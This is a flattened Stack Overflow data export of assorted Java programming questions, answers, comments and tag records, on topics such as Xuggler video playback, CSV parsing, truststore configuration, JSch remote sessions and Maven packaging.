has body: I am trying to play a video in Java using xuggler, but when I run it the quality significantly decreases. Here are 2 screenshots as an example: From the second screenshot you can see the colors are all different. I am not a video expert, could someone tell me where is the problem? Video decoder? Color encoding? Can someone help me? EDIT: this is the code I wrote to play the video. It is the same as Xuggler's example. if (container.open("temp.flv",IContainer.Type.READ,null) &lt; 0) { throw new IllegalArgumentException("could not open file: " + whatToPlay); } int numStreams = container.getNumStreams(); int videoStreamId = -1; int audioStreamId = -1; for (int i = 0; i &lt; numStreams; i++) { IStream stream = container.getStream(i); IStreamCoder coder = stream.getStreamCoder(); if (coder.getCodecType() == ICodec.Type.CODEC_TYPE_VIDEO) { videoStreamId = i; videoCoder = coder; } if (coder.getCodecType() == ICodec.Type.CODEC_TYPE_AUDIO) { audioStreamId = i; audioCoder = coder; } } if (videoStreamId == -1 &amp;&amp; audioStreamId == -1) { throw new RuntimeException("could not find audio or video stream in container: " + whatToPlay); } if(videoCoder != null) { if (videoCoder.open() &lt; 0) { throw new RuntimeException("could not open video decoder for container: " + whatToPlay); } } if(audioCoder != null) { if(audioCoder.open() &lt; 0) { throw new RuntimeException("could not open audio decoder for container: " + whatToPlay); } try { openJavaSound(audioCoder); } catch(LineUnavailableException reason) { throw new RuntimeException("unable to open sound device on your system when playing back container: " + whatToPlay); } } IVideoResampler resampler = null; if (videoCoder.getPixelType() != IPixelFormat.Type.BGR24) { resampler = IVideoResampler.make(videoCoder.getWidth(), videoCoder.getHeight(), IPixelFormat.Type.BGR24, videoCoder.getWidth(), videoCoder.getHeight(), videoCoder.getPixelType()); if (resampler == null) { throw new RuntimeException("could not create color space resam…
answer count: 0
tagged with: video-processing
score: 1
tagged with: java
upvote count: 1
type: Question
tagged with: xuggler
tagged with: flv
downvote count: 0
has comment: http://stackoverflow.com/comment/33666977
favorite count: 0
has title: Video bad quality when play in java
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33668130

http://stackoverflow.com/comment/33789528
comment on: http://stackoverflow.com/a/22224067
score: 0
type: Comment
has text: Hi please look at 'Java histogram in 2 windows from JFileChooser' question, i have posted from my friends account, thanks
type: AnswerComment

concurrentmodification
tags question: http://stackoverflow.com/q/22275668
tags question: http://stackoverflow.com/q/22308654
tags question: http://stackoverflow.com/q/22245957
tag name: concurrentmodification
tags question: http://stackoverflow.com/q/22226567
type: Tag
tags question: http://stackoverflow.com/q/22200496
tags question: http://stackoverflow.com/q/22279993

http://stackoverflow.com/a/22237066
downvote count: 0
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/33768780
score: 2
has comment: http://stackoverflow.com/comment/33768675
answers question: http://stackoverflow.com/q/22237012
has body: Create a HashSet (or another kind of Set), and loop through the elements of your array. Add them one at a time. If the element already exists in the Set, then not all are different and you can return false. You can tell this if add returns false; then you don't have to check the rest of the array. If you finish with the entire array and none are the same, then they're all different and you can return true. The problem with your current code is that you only check the first and second elements, and you return something right away based on that comparison, and you don't consider the rest of the elements.

http://stackoverflow.com/q/22186309
has title: Exporting a CSV file into arrays
has comment: http://stackoverflow.com/comment/33678556
tagged with: arrays
answer count: 1
score: 0
has answer: http://stackoverflow.com/a/22187970
tagged with: http://stackoverflow.com/tag/csv
has body: I have a CSV file with different columns of data. Example: 100, 0.1, 0.5 200, 0.1, 0.1 300, 0.2, 0.5 etc I want to store the first column into an array, the second column into its own array and so on so that I can use them for math equations. import.java.util.Scanner; import java.io.File; public class Example { public static void main(String[] args) throws Exception { Scanner s = new Scanner(new File("C://java//data.txt")); } } I'm pretty lost up until this point.
favorite count: 0
has comment: http://stackoverflow.com/comment/33678818
has comment: http://stackoverflow.com/comment/33678812
has comment: http://stackoverflow.com/comment/33677208
upvote count: 2
has comment: http://stackoverflow.com/comment/33677639
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/33677529
tagged with: java
has comment: http://stackoverflow.com/comment/33678762
has comment: http://stackoverflow.com/comment/33679480
type: Question

http://stackoverflow.com/q/22326842
answer count: 1
has body: How to make hibernate validator return field name instead of "arg0" when using @NotBlank validator? @NotBlank @FormParam("address") private String address; returns when empty: {arg0: may not be empty}
has comment: http://stackoverflow.com/comment/33929522
tagged with: hibernate-validator
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22329591
score: 0
type: Question
has comment: http://stackoverflow.com/comment/33929671
tagged with: java
has title: Hibernate validator field name

http://stackoverflow.com/a/22292215
answers question: http://stackoverflow.com/q/22292201
score: 0
type: Answer
has body: make the TowersOfHanoi.towersOfHanoi(int,int,int,int) method static. public static void towersOfHanoi (int N, int from, int to, int spare) { or better, instantiate a TowersOfHanoi object then call the towersOfHanoi method instead of calling it on the class like you are.

http://stackoverflow.com/comment/33736370
has text: *no icon was displaying on sign pdf* - The icon on the PDF itself is not how Adobe currently prefers to represent signature validity; instead you get the information in the ribbon and in the signature window.
type: AnswerComment
comment on: http://stackoverflow.com/a/22199497
type: Comment
score: 0

http://stackoverflow.com/a/22317235
downvote count: 0
has body: As all of your lines are the same format it would be easier to // read all lines while (readAndStore.hasNextLine()) { String line = readAndStore.readLine (); // split using = String [] words = line.split ("="); // assuming you are going to parse all lines if (words[0].equals ("ENERGY")) { energy = Double.parseDouble (words[1]); }
accepted answer of: http://stackoverflow.com/q/22317056
has comment: http://stackoverflow.com/comment/33913538
answers question: http://stackoverflow.com/q/22317056
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33913583
has comment: http://stackoverflow.com/comment/33913623
type: AcceptedAnswer

http://stackoverflow.com/a/22266405
type: Answer
answers question: http://stackoverflow.com/q/22266249
has body: ++i is faster than other methods. So your code will be : int i = 0; ++i;
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/33690844
type: QuestionComment
has text: you can put a key in pending intent containing you notificationId and check in targetted activity that id read from bundle.
comment on: http://stackoverflow.com/q/22194293
score: 0
type: Comment

http://stackoverflow.com/q/22315976
has comment: http://stackoverflow.com/comment/33913587
type: Question
score: 0
has comment: http://stackoverflow.com/comment/33913977
has comment: http://stackoverflow.com/comment/33911241
has title: Database value and display value doesn't match
has comment: http://stackoverflow.com/comment/33975611
has comment: http://stackoverflow.com/comment/33970379
has comment: http://stackoverflow.com/comment/33975801
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33913646
answer count: 0
has comment: http://stackoverflow.com/comment/33962188
tagged with: java
tagged with: mysql
has body: I'm working on a simulator which connects to a MySQL database provided by WAMPServer. Everything is connected, but the value displayed (using println) and database doesn't match. The value in database only recorded 0, but the supposed value is 3127. Help me? public void addTotal(String total){ this.totaltxt.setText(total); totalVal = Integer.parseInt(this.totaltxt.getText()); } public void actionPerformed(ActionEvent evt){ if(evt.getSource()==enter){ main.removeAll(); main.repaint(); action.createSim(); action.startSim(); db.saveVAL(0,totalVal); System.out.println(totalVal); } } Database: public void saveVAL(int sim_time, int sim_total){ try{ Statement stmt = conn.createStatement(); stmt.executeUpdate("INSERT INTO sim_energy (sim_time, sim_total) VALUES ("+sim_time+","+sim_total+")"); System.out.println("Adding was successful"); }catch (Exception ex){ System.out.println("Inserting values unsuccessful"); //ex.printStackTrace(); } }

http://stackoverflow.com/a/22258435
upvote count: 1
answers question: http://stackoverflow.com/q/22258330
has comment: http://stackoverflow.com/comment/33808108
has comment: http://stackoverflow.com/comment/33808464
downvote count: 0
has body: Isn't it obvious. You are not suppose to modify a collection after getting a iterator on it in any way except through the Iterator's own remove or add methods. Although you haven't provided the complete code I suppose at: for (Candy c2 : candylist) Somewhere in the body of the forEach loop you are structurally modifying the candylist and hence you are getting the ConcurrentModificationException From the stacktrace I presume you are using LinkedList for candylist. As per LinkedList javadoc: if the list is structurally modified at any time after the iterator is created, in any way except through the Iterator's own remove or add methods, the iterator will throw a ConcurrentModificationException. So instead of using enhanced for statement which resolves to : for (I #i = Expression.iterator(); #i.hasNext(); ) I would suggest you to get an Iterator over candylist and modify it using the Iterator's own remove or add methods.
type: Answer
score: 1

http://stackoverflow.com/a/22283200
accepted answer of: http://stackoverflow.com/q/22282528
type: Answer
score: 1
has body: Compared to unencrypted, it does protect against a passive attacker who can only eavesdrop, but not an active one. Basically duplicate of How to handle invalid SSL certificates with Apache HttpClient? but that includes quite a bit you don't need. The best approach of course is for the server to get a 'real' cert. Without that, to trust their selfsigned cert but not anybody else's, get their cert by some process that you are sure isn't tampered with and put it in your truststore. If this is a personal machine, or a personal install of Java, the JSSE default truststore is the file JRELOC/lib/security/jssecacerts if it exists, and SAME/cacerts otherwise. The cacerts file comes in the Java package and includes several dozen well-known public CAs like Verisign, GoDaddy, etc., so connections you make to nearly any public host on the internet (which use those CAs) will work, but you can add to or delete from it as you wish. In this case get the desired cert in either DER or PEM format in a file and: keytool -keystore JRELOC/lib/security/cacerts -importcert -file the_added_cert # or JRELOC/bin/keytool if that directory isn't in your search path # enter changeit for the password, and confirm that you want to trust this cert If this (machine and) Java is shared with other users, changing the default truststore affects them also. If you or they don't want that, create your own file (by copying the standard one and modifying) and then use that truststore by running the program with -Djavax.net.ssl.trustStore=filename (as described in http://docs.oracle.com/javase/7/docs/technotes/guides/security/jsse/JSSERefGuide.html#Customization) or if you don't run the 'java' yourself tell whatever does to set that system property.
has comment: http://stackoverflow.com/comment/33902867
has comment: http://stackoverflow.com/comment/33854496
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33902359
answers question: http://stackoverflow.com/q/22282528

http://stackoverflow.com/comment/33731083
type: AnswerComment
type: Comment
has text: Thanks MadProgrammer, also I have added teh function now.
comment on: http://stackoverflow.com/a/22216321
score: 0

http://stackoverflow.com/comment/33662731
type: QuestionComment
has text: I don't know, how would you define it? It's your program. What is it supposed to be the size of?
score: 0
comment on: http://stackoverflow.com/q/22178092
type: Comment

http://stackoverflow.com/comment/33720689
type: Comment
comment on: http://stackoverflow.com/q/22210535
score: 2
has text: You can't modify or extend array types. Use the `length` field.
type: QuestionComment

http://stackoverflow.com/q/22204542
has title: Internet Explorer Not Displaying Correctly With Bootstrap On IBM Websphere
tagged with: internet-explorer
tagged with: java
type: Question
tagged with: websphere
has body: I am encountering an issue that a website built using bootstrap is not displaying correctly in Internet Explore, but only went deployed to IBM Websphere. When displaying the website on a local Apache Tomcat server, it works fine. But when deployed to IBM Websphere, the site display as the mobile version. Anyone know why that is? Thanks in advance.
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22215939
tagged with: twitter-bootstrap
type: UnansweredQuestion
tagged with: css

http://stackoverflow.com/a/22286575
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33870674
answers question: http://stackoverflow.com/q/22273391
upvote count: 2
has body: from this your issue will be resolved by properly defining cascading depedencies or by saving the referenced entities before saving the entity that references. Defining cascading is really tricky to get right because of all the subtle variations in how they are used. cascade="delete" check the options all|none|save-update|delete|all-delete-orphan session.save(child); instead of this try cascade="all" and session.save(parent) so that all child objects will be saved with parent.

http://stackoverflow.com/a/22302726
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33888168
type: Answer
has comment: http://stackoverflow.com/comment/33888133
has body: You probably want to create a separate method that you pass your "input[]" array to (left as an exercise). However when considering problems like this, first just consider how you would do it in english (or whatever your native language is). Write down that strategy (an "algorithm") and then implement that in Java. public class Example_R { public static void main(String args[]) { int input[] = { 1, 2, 1, 3, 4 }; int largestSum = 0; int currentSum; for (int j = 0; j &lt; input.length; j++) { currentSum = 0; for (int i = 0; i &lt; input.length; i++) { if (input[j] != input[i]) { currentSum += input[i]; } } System.out.println("Sum of all values not equal to " + input[j] + " is: " + currentSum); if (j == 0) { largestSum = currentSum; } else { if (largestSum &lt; currentSum) { largestSum = currentSum; } } } System.out.println("The largest overall sum was " + largestSum); } }
answers question: http://stackoverflow.com/q/22302327
has comment: http://stackoverflow.com/comment/33893554
score: 0
accepted answer of: http://stackoverflow.com/q/22302327

http://stackoverflow.com/comment/33831176
comment on: http://stackoverflow.com/a/22271064
type: AnswerComment
has text: What should I do to delete this alarm when I change the code to ListMainActivity.this?
score: 0
type: Comment

http://stackoverflow.com/a/22302216
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/22301878
accepted answer of: http://stackoverflow.com/q/22301878
score: 3
has body: By default when Spring encounters a auto wiring field of type Map&lt;String, [type]&gt; it will inject a map of beans of the specific [type]. In your case String. You will not get your configured map. See: http://docs.spring.io/spring/docs/current/spring-framework-reference/htmlsingle/#beans-autowired-annotation. You are basically running into a corner case as you have a map with String as keys. To get your bean you will either have to put an @Qualifier("profileDependentProps") next to the @Autowired or use @Resource("profileDependentProps") instead of @Autowired.
type: AcceptedAnswer
upvote count: 3

executorservice
type: Tag
tag name: executorservice
tags question: http://stackoverflow.com/q/22248630
tags question: http://stackoverflow.com/q/22178749

http://stackoverflow.com/comment/33704076
score: 0
comment on: http://stackoverflow.com/a/22201382
has text: @BenEzard If you copy paste the string in your question and try to parse it, you will get an error. Maybe the string was generated differently for some reason?
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22254691
has comment: http://stackoverflow.com/comment/33803225
has comment: http://stackoverflow.com/comment/33807652
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22254466
score: 1
downvote count: 0
has body: You are getting a new session every time you call getSession(). This is why every command is being executed in a different shell, because it is a different shell. Instead, get your session once in your main(), keep that object. Then re-use it. You will need a different method other than getSession(), not to mention "get session" is not a good name for a method which is executing commands on a remote shell... ie. it's not just getting a session, but doing something else. This violates the principal of least astonishment, ie. each method should do one and only one thing. Create a new method, say called: executeRemoteCommand(String command) and use that to execute your commands. You could either use getSession() once and store the session in an object that is accessible from every method, ie. an instance variable. Or you can pass your session into your executeRemoteCommand() method. So like: executeRemoteCommand(Session session, String command). Here is an example of how I have done this in the past (not going to pretend this code is perfect... but it should give you some ideas). This was used to send and receive files from a linux server via sFTP. With some modification, it could send just about any command to the remote shell you desire. package com.somecompany.productfeed; import net.snakedoc.jutils.ConfigException; import org.apache.log4j.Logger; import com.jcraft.jsch.Channel; import com.jcraft.jsch.ChannelSftp; import com.jcraft.jsch.JSch; import com.jcraft.jsch.JSchException; import com.jcraft.jsch.Session; import com.jcraft.jsch.SftpException; public class SFTP { // setup logger private static final Logger LOG = Logger.getLogger(SFTP.class.getName()); private JSch jsch; private ChannelSftp sftpChannel; private Session session; private String username; private String password; private String host; private int port; // singleton private volatile static SFTP instance = null; /** * Private constructor used in Singleton pattern. * All variables populated via propert…

http://stackoverflow.com/q/22208461
has answer: http://stackoverflow.com/a/22352447
has comment: http://stackoverflow.com/comment/33719727
has body: here the code: ParseQuery&lt;ParseObject&gt; cities = ParseQuery.getQuery("cities"); System.out.println("searchable value is " + firstCity); cities.whereEqualTo("cityName", firstCity); cities.getFirstInBackground(new GetCallback&lt;ParseObject&gt;() { @SuppressWarnings("null") public void done(ParseObject object, ParseException e) { if (object == null) { System.out.println(object.getString("cityName")); } else { System.out.println(object.getString("cityName")); } } }); Why i cant use object.getString("cityName") outside the Done method?
tagged with: parse-platform
downvote count: 3
has answer: http://stackoverflow.com/a/22216703
type: AnsweredQuestion
tagged with: java
has title: I can use getString of some object inside Done only?
accepted answer: http://stackoverflow.com/a/22352447
possible better answer: http://stackoverflow.com/a/22216703
score: -3
type: Question
answer count: 2
upvote count: 0
favorite count: 0
tagged with: android

http://stackoverflow.com/q/22312541
has answer: http://stackoverflow.com/a/22312853
tagged with: junit
favorite count: 0
answer count: 3
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/22312654
has comment: http://stackoverflow.com/comment/33905137
tagged with: unit-testing
has title: How to unit test method which invokes another method?
type: Question
score: 3
tagged with: oop
tagged with: java
upvote count: 3
has answer: http://stackoverflow.com/a/22312862
tagged with: mocking
has body: How to test method which invokes another method? In my example I would like to know how to test initComponentsTypeA which invokes create method. public MyClass{ private List&lt;TypeA&gt; componentsTypeA; public void initComponents(Config c){ componentsTypeA = initComponentsTypeA(c); //... } private List&lt;TypeA&gt; initComponentsTypeA(Config c){ //... List&lt;MyObject&gt; someList = c.getSomeList(); List&lt;TypeA&gt; localList = new ArrayList&lt;&gt;(); for(MyObject mo : someList){ localList.add(create(mo)); } return localList; } private TypeA create(MyObject myObject){ // ... } } I know that one solution is to refactor code in this way (show below). But is it necessary? Is it the only solution? public MyClass{ private List&lt;TypeA&gt; componentsTypeA; public void initComponents(Config c){ List&lt;MyObject&gt; myObjectList = initComponentsTypeA(c); componentsTypeA = create(myObjectList) //... } private List&lt;MyObject&gt; initComponentsTypeA(Config c){ //... List&lt;MyObject&gt; someList = c.getSomeList(); return someList; } private List&lt;TypeA&gt; create(List&lt;MyObject&gt; myObjectList){ // ... } } In the second, refactored example the names of the methods are should be also changed, accordingly to their meaning.

http://stackoverflow.com/comment/33811741
comment on: http://stackoverflow.com/a/22260681
has text: I heard that Java has similar performance to C, if I got my compiler to generate Java byte code, would my language perform similarly to C? Also are there any good resources that you know of that are good for learning how to create your own virtual machine?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33666977
comment on: http://stackoverflow.com/q/22179112
score: 0
type: Comment
type: QuestionComment
has text: We would need some code to know exactly what are doing and what could be wrong. Without it, we can't do much.

http://stackoverflow.com/q/22259891
has comment: http://stackoverflow.com/comment/33810279
has comment: http://stackoverflow.com/comment/33810175
type: Question
linked to: http://stackoverflow.com/q/218384
has comment: http://stackoverflow.com/comment/33809818
has comment: http://stackoverflow.com/comment/33810568
answer count: 1
has comment: http://stackoverflow.com/comment/33809957
score: 0
tagged with: nullpointerexception
upvote count: 1
has comment: http://stackoverflow.com/comment/33809992
downvote count: 1
has body: I am working on a GoFish game in java in my take turn method I wrote I receive a Null Exception Error, and I know that means I have a null object. When going through my code I can not figure out why I am getting this. When I ask the user for number of player it creates that number. SO why would I get a null error for this if((P.cardsInHand[P.getnumCardsInHand()].getRank()) == rank){ return P; } private Player[] numPlayers; int playerName; int requestedcard; public void numPlayers(){ Scanner input = new Scanner(System.in); System.out.println("How many players want to play"); numPlayer = input.nextInt(); if((numPlayer &lt; 2) || (numPlayer &gt; 6)){ System.out.println("How many players want to play"); numPlayer = input.nextInt(); } numPlayers = new Player[numPlayer]; for (int i = 0; i &lt; numPlayer; i++){ System.out.println("Player Number(Start with 0)"); playerName = input.nextInt(); numPlayers[i] = new Player(playerName); } requestedPlayer = numPlayers[0]; } public Player taketurn(Player P){ previousPlayer = P; System.out.println(P); //set up scanner Scanner input = new Scanner(System.in); //declare variables int player; int rank; int numMatches = 0; System.out.println("Player " + previousPlayer.getnumplayerNumber() + " turn"); //Player P ask what player cars it want to sk for System.out.println("what Player Do you want to ask"); player = input.nextInt(); if(player &gt; numPlayer){ System.out.println("what Player Do you want to ask"); player = input.nextInt(); } //data type of Player is set to the player that Play P requested requestedPlayer = numPlayers[player]; //request card System.out.println("What rank do you want(2-10 = the corresponding number rank on the card, 11 = jack, 12 = queen, 13 = king, 14 = ace)"); rank = input.nextInt(); for(int i = 1; i &lt; (requestedPlayer.getnumCardsInHand()); i++){ if((requestedPlayer.cardsInHand[i].getRank()) == rank){ // if requested rank == to the player that was aksed for the card //the card will be transfered and removed …
favorite count: 0
has comment: http://stackoverflow.com/comment/33810176
has comment: http://stackoverflow.com/comment/33810621
has answer: http://stackoverflow.com/a/22260370
accepted answer: http://stackoverflow.com/a/22260370
has title: Null Exception Error and New to OOP
has comment: http://stackoverflow.com/comment/33810854
has comment: http://stackoverflow.com/comment/33810660
has comment: http://stackoverflow.com/comment/33810555
has comment: http://stackoverflow.com/comment/33810261
has comment: http://stackoverflow.com/comment/33809967
type: AnsweredQuestion
tagged with: oop
has comment: http://stackoverflow.com/comment/33809995
has comment: http://stackoverflow.com/comment/33809882
tagged with: java

http://stackoverflow.com/a/22265214
upvote count: 2
downvote count: 1
answers question: http://stackoverflow.com/q/22264893
type: Answer
has comment: http://stackoverflow.com/comment/33871021
has body: It looks like your topology wasn't submitted, because the storm client couldn't connect to Nimbus, in which case it wouldn't be anything in your code. Make sure nimbus is running and the storm command can access it, i.e. to do a "storm list".
score: 1
has comment: http://stackoverflow.com/comment/33870877

http://stackoverflow.com/a/22317407
downvote count: 0
has body: You added text into container after ")" and after ",". After ")" you added correct text and reset "stack". Then you get "," and add "stack" to container, but stack is empty at this moment
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22317071
score: 1

http://stackoverflow.com/q/22175930
has title: Calculate LDAP Memory Usage through java
tagged with: memory
score: 0
has comment: http://stackoverflow.com/comment/33685281
has comment: http://stackoverflow.com/comment/33682757
tagged with: ldap
tagged with: openldap
has body: I have one LDAP server (openLDAP) which would have a lots of attributes and users. From previous data, it is expected that the size of ldif file would go approx 10 GB. Basically, I want to know that when this server would go live which attribute as a total is taking largest size in memory whose user's data is largest in memory. The purpose of having this information is that if I would know that any attribute or user is taking largest size, I can take required action for that particular attribute or user, may be deleting that user etc. so that memory usage of the server can be controlled. I am planning to use JNDI for this tool. Through JNDI, I can get all attributes and their values, But how I can calculate how much memory these attributes are taking on server ?
has comment: http://stackoverflow.com/comment/33879634
answer count: 0
type: UnansweredQuestion
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33675819
has comment: http://stackoverflow.com/comment/34633826
tagged with: jndi

http://stackoverflow.com/comment/33807643
score: 0
comment on: http://stackoverflow.com/q/22258683
type: QuestionComment
has text: The text doesnt get appended, it doesnt get updated.
type: Comment

http://stackoverflow.com/q/22200492
tagged with: intellij-idea
tagged with: ubuntu
score: 0
has answer: http://stackoverflow.com/a/22200558
answer count: 1
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33702126
has comment: http://stackoverflow.com/comment/33702818
tagged with: java
has title: Ubuntu 13.10 64bit -> 32bit Oracle JDK -> IntelliJ Idea Comm. edition: HOW?
type: Question
has body: the scenario is fairly complex. I have a machine with Ubuntu 13.10 installed and want to use IntelliJ Idea community edition, for android development and therefore with the 32bit version of the Oracle JDK. Already installed the JDK and added it to alternatives. Problem is, I cannot get Idea to start anyhow. Error something like that: "cannot initialize class java.awt.toolkit" I searched for hours, finding solutions by installing some missing libraries using apt-get, but nothing helped yet. As I'm kind of desperate, I'm asking if someone has a solution for me? Maybe as well, I could just use the 64 bit JDK and am good to go? Kind regards

http://stackoverflow.com/q/22313184
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: java
type: Question
has title: Java's serialization (Using extererlizer) is much slower under applet then webstart
has comment: http://stackoverflow.com/comment/33906739
has comment: http://stackoverflow.com/comment/33906957
has body: We are currently moving our Web start application into HTML + Applet application. As part of investigating of poor applet performance we saw with a Java profiler that the CPU time used for serialization on the client took in applet ENV 10 times more than the regular web start application. The RMI procedure is mainly performed in a Special Structure we have called VOElement Object. in this item we do : private void writeObject(final ObjectOutputStream outputStream) throws IOException { outputStream.defaultWriteObject(); outputStream.writeObject(getParent()); } private void readObject(final ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); setParent((CompoundVOElementIfc) inputStream.readObject()); getInstance().injectDependencies(this); } We tried to check the JVM and the system java properties but it didn’t helped. We are struggling to understand what the difference between the ENVs- it’s the same JARS and the same JVM settings.
downvote count: 0
tagged with: applet
favorite count: 0
tagged with: serialization
has comment: http://stackoverflow.com/comment/33923183

http://stackoverflow.com/a/22232277
score: 1
has comment: http://stackoverflow.com/comment/33761682
type: Answer
has comment: http://stackoverflow.com/comment/33761336
answers question: http://stackoverflow.com/q/22232096
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22232096
has body: A file which contains a serialized object instance is a binary file: you should not edit it with a BufferedWriter. Edit it with a RandomAccessFile, for example. If you are wondering of why, the charset used in a Writer could not map one-to-one with a byte. Saving all the file would change also unexpected positions.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22181709
has comment: http://stackoverflow.com/comment/33668839
tagged with: java
has comment: http://stackoverflow.com/comment/33669351
has comment: http://stackoverflow.com/comment/33669057
type: Question
has comment: http://stackoverflow.com/comment/33669105
has body: I went with what I could find in java for dummies and what I'm doing isn't working? I'd like a fix and some advice on whether I should focus on simpler things. this is the code... package frame; import java.util.Scanner; import javax.swing.JFrame ; public class Frame_create {`enter code here` public static void main(String args[]) { JFrame myFrame = new JFrame() ; String myTitle = "blank frame" ; myFrame.setTitle(myTitle) ; myFrame.setSize(width, height) ; myFrame.setDefaultCloseOperation (JFrame.EXIT_ON_CLOSE) ; myFrame.setVisible(true) ; } static int width = 600 ; static int height = 200 ; private Scanner readyread; public void input(String args[]){ readyread = new Scanner(System.in); int inputNumber = readyread.nextInt(); int increase = inputNumber*100 ; width += increase ; }}
has title: Make a window increase in size using keystrokes
score: 0
has comment: http://stackoverflow.com/comment/33668869
answer count: 1
accepted answer: http://stackoverflow.com/a/22182142
has comment: http://stackoverflow.com/comment/33669410
has answer: http://stackoverflow.com/a/22182142
has comment: http://stackoverflow.com/comment/33669233
type: AnsweredQuestion

http://stackoverflow.com/a/22289044
accepted answer of: http://stackoverflow.com/q/22288985
has body: Well, you're trying to assign a LinearLayout to an ImageView. Instead of: holder.thumbnail = (ImageView) convertView.findViewById(R.id.thumbnail); // oops you probably meant: holder.thumbnail = (ImageView) convertView.findViewById(R.id.list_image);
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22288985
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33862938

http://stackoverflow.com/comment/33665524
type: QuestionComment
comment on: http://stackoverflow.com/q/22179395
has text: @vipulmittal `viewPager.setAdapter(mAdapter);`
score: 0
type: Comment

jdatechooser
tags question: http://stackoverflow.com/q/22229438
tag name: jdatechooser
type: Tag

http://stackoverflow.com/a/22277410
has body: Will a thread simply terminate after it has completed its execution? Yes, It will terminate and exit itself after completing the run() method
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/22277378
score: 5
upvote count: 5

http://stackoverflow.com/a/22192667
type: AcceptedAnswer
downvote count: 0
has body: You can't just include 3rd party jars in your jar. The classpath in the manifest is relative to the jar that you're are running. For example, if you had my-application.jar that depended on my-utils.jar and both were in the same directory, your manifest classpath would be: Class-Path: my-utils.jar While if you were to move just my-utils.jar to a lib directory giving me this layout: + my-application.jar + lib + my-utils.jar Your manifest classpath would be: Class-Path: lib/my-utils.jar Now to your problem. First off, you should really get all your libs into a repository. Maven is built to work from a repository and going against the 'Maven way' can often lead to problems later. The alternative (which I don't recommend) is to declare the dependencies with system scope, which allows you to specify a path, for example: com.mycompany my-utils 1.0 system lib/my-utils.jar However, use this with great care. The system scope is intended to be used with system jars, typically those in the JVM. Using it with anything else is really an abuse of this feature and is likely to impact the portablity of you build. Once you have your dependencies straight you need to package your application. As I mentioned, including dependencies jars in your application jar will not work. I typically use the Assembly Plugin that allows me to create a zip, that can simply be unpacked to install the application. The Assembly Plugin works from a simple descriptor, that in your case where you want to include your application jar plus the dependency jars, would look like this: <?xml version="1.0"?> ${project.name} zip dir false lib true ${artifact.groupId}:${artifact.artifactId} lib false (You might need to play with the include a little) You can also include scripts to run you application and an properties needed in the assembly.
type: Answer
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/22191914
answers question: http://stackoverflow.com/q/22191914

http://stackoverflow.com/q/22201177
tagged with: freemarker
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22201263
accepted answer: http://stackoverflow.com/a/22201263
tagged with: java
type: Question
score: 0
has body: I have freemaker template &lt;#import "includes/header.ftl" as header&gt; &lt;h1&gt;${title}&lt;/h1&gt; in header.ftl is &lt;html&gt; &lt;head&gt; &lt;title&gt;${title}&lt;/title&gt; &lt;/head&gt; &lt;body&gt; and I have really simple code to render it Configuration cfg = new Configuration(); File dir = new File("/usr/cms/data/templates"); cfg.setDirectoryForTemplateLoading(dir); cfg.setDefaultEncoding("UTF-8"); cfg.setLocale(Locale.US); cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER); Map&lt;String, Object&gt; input = new HashMap&lt;String, Object&gt;(); input.put("title","Test title"); Template template = cfg.getTemplate("template.ftl"); Writer writer = new StringWriter(); template.process(input,writer); Template is processed but header.ftl is not included in string inside StringWriter. How to force freemarker to include #included files during processing?
answer count: 1
has title: Freemarker processing of included template

http://stackoverflow.com/q/22263067
tagged with: macos
has comment: http://stackoverflow.com/comment/33816225
downvote count: 0
